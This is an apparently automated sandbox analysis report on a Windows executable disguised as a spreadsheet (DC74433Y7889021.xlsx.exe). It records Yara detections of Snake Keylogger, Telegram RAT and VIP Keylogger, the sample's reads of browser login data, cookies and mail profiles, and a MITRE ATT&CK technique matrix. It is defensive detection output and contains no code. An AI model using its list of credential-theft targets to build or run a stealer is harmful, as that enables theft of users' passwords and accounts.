Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\DUBAI-LIGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match

File source: 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\DC74433Y7889021.xlsx.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000001.00000002.4130524179.0000000002431000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.DC74433Y7889021.xlsx.exe.500000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e95e40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3d5a970.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DC74433Y7889021.xlsx.exe.3e52a10.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4128942629.0000000000502000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4130524179.00000000024EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1686826085.0000000003CE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2488, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC74433Y7889021.xlsx.exe PID: 2992, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	13 System Information Discovery	Remote Services	11 Archive Collected Data	1 Web Service	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	12 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	131 Obfuscated Files or Information	Security Account Manager	1 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Software Packing	NTDS	2 Process Discovery	Distributed Component Object Model	1 Clipboard Data	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	31 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
